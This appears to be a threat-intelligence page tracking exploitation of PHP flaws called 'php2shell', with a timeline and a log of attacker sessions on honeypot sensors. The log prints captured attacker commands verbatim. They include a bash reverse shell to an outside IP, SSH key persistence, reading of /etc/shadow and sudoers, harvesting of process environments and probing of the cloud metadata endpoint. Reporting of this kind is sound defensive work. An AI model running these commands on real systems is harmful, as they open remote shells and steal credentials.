Last updated

Global Event

PHP2SHELL Activity 2026

GreyNoise is monitoring exploitation attempts against PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619, colloquially known as 'php2shell'. We have observed 8 new attacker IPs in the last 12 hours and a total of 678 as of 8 November 2026. We have confirmed 1,215 successful exploitations, from 5 attacker IPs, against our vulnerable sensors. The U.S. Cybersecurity & Infrastructure Security Agency (CISA) added CVE-2026-109618 and CVE-2026-109619 to their list of Known Exploited Vulnerabilities on 26 October 2026.

  1. CVE IDs reservedBy the PHP CNA.
  2. 8d 11h 33m laterEarliest observed related activity85.11.167.243, User-Agent php2shell-scan/109618.
  3. 5h 12m laterPublished to CVE.orgCVE-2026-109619 followed at 13:54 UTC.
  4. 5 days laterCVE-2026-109618 and CVE-2026-109619 added to CISA KEV
  5. 2 days laterFirst successful exploitation observed2.59.133.151 exploited a vulnerable GreyNoise sensor: apache2 spawned sh, which ran curl 37455255:7 (2.59.133.151:7, the attacker's own IP) then sleep 5.

Sources: GreyNoise sensor sessions and CVE.org.

Indexed: 21,291 unique values across ASN, CIDR /24, CVE, HASSH, HTTP path, IP, JA3, JA4, JA4H, JA4SSH, JA4T, Tag ID, User-Agent. Searches collected data points only, not report text.
Successful Exploitation (1215)

A confirmed exploitation is a session on a vulnerable GreyNoise sensor in which the web server ran operating-system commands.

Shell started (UTC)Attacker IPExploit sessionProcess chainCommands run (in order)
2026-10-28 05:14:012.59.133.1512.59.133.151: 05:13:45 to 05:14:02 UTC, 6 GET, 3 POST to /, 5.8 MB sentapache2 -> shcurl 37455255:7 ; sleep 5
2026-10-28 06:42:012.59.133.1512.59.133.151: 06:41:51 to 06:42:01 UTC, 6 GET, 3 POST to /, 6.2 MB sentapache2 -> shcurl 37455255:7 ; sleep 5
2026-10-28 18:49:592.59.133.1512.59.133.151: 18:50:48 to 18:50:59 UTC, 6 GET, 2 POST to /upload.php, 3.6 MB sent; 2.59.133.151: 18:49:46 to 18:50:00 UTC, 6 GET, 3 POST to /, 5.8 MB sentapache2 -> shcurl 37455255:4 ; sleep 5
2026-10-28 18:52:052.59.133.1512.59.133.151: 18:52:49 to 18:52:57 UTC, 6 GET, 2 POST to /upload.php, 3.6 MB sent; 2.59.133.151: 18:51:52 to 18:52:06 UTC, 6 GET, 3 POST to /, 5.9 MB sentapache2 -> shcurl 37455255:4 ; sleep 5
2026-10-29 01:41:242.59.133.1512.59.133.151: 01:41:12 to 01:41:24 UTC, 6 GET, 3 POST to /, 5.6 MB sent; 2.59.133.151: 01:38:22 to 01:38:25 UTC, 1 POST to /, 3.5 MB sentapache2 -> shcurl 37455255:4 ; sleep 5
2026-10-29 17:44:222.59.133.1512.59.133.151: 17:44:10 to 17:44:22 UTC, 6 GET, 3 POST to /, 5.6 MB sent; 2.59.133.151: 17:39:05 to 17:39:09 UTC, 1 POST to /, 3.5 MB sentapache2 -> shcurl 37455255:4 ; sleep 5
2026-10-29 19:56:40185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentapache2 -> shsetsid bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; nohup /tmp/beacon.sh ; /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42104 0>&1 ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; head -80 ; egrep -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; head -20 ; head -40 ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; head -100 ; sort -nr ; head -30 ; head -120 ; head -40 ; head -150 ; head -50 ; head -250 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; head -80 ; head -40 ; head -20 ; sort ; sort ; tr \0 \n ; head -300 ; tr \0 \n ; sort ; tr \0 \n ; sort ; sort ; tr \0 \n ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; tr \0 \n ; sort ; sort ; tr \0 \n ; tr \0 \n ; sort ; head -80 ; head -120 ; head -200 ; head -400 ; wc -l ; head -300 ; head -300 ; head -300 ; tr \0 ; head -30 ; grep -i kube ; head -30 ; head -60 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -20 ; head -1 ; head -40 ; head -20 ; head -30 ; head -10 ; head -5 ; head -30 ; head -30 ; head -30 ; grep -E root |server_name|listen ; head -60 ; head -300 ; head -300 ; head -300 ; head -20 ; head -20 ; wc -c ; sha256sum /etc/apache2/conf-available/charset.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/docker-php.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; wc -c ; sha256sum /etc/apache2/apache2.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; sha256sum /etc/apache2/conf-available/localized-error-pages.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/other-vhosts-access-log.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/security.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/conf-available/serve-cgi-bin.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/envvars ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/magic ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; wc -c ; sha256sum /etc/apache2/mods-available/access_compat.load ; nohup sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443
2026-10-29 19:56:40185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentapache2 -> apache2sh -c -- [ -e /tmp/.c1104 ]||{ >/tmp/.c1104;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42104 0>&1' & }
2026-10-29 19:56:46185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashbash -i
2026-10-29 19:56:46185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashchmod 600 /var/www/.ssh/authorized_keys
2026-10-29 19:56:46185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashmkdir -p /var/www/.ssh
2026-10-29 19:58:50185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashbase64 -d
2026-10-29 19:58:50185.65.134.250185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashnohup sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; date -u +%Y%m%dT%H%M%SZ ; mkdir -p /tmp/<REDACTED>-443 ; cat ; timeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2 ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; id ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; hostname ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; timeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; timeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /o ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; timeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; timeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do print ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; awk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c==" ; timeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; timeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; timeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; timeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ec ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; timeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgro ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; timeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30 echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null echo "== apache 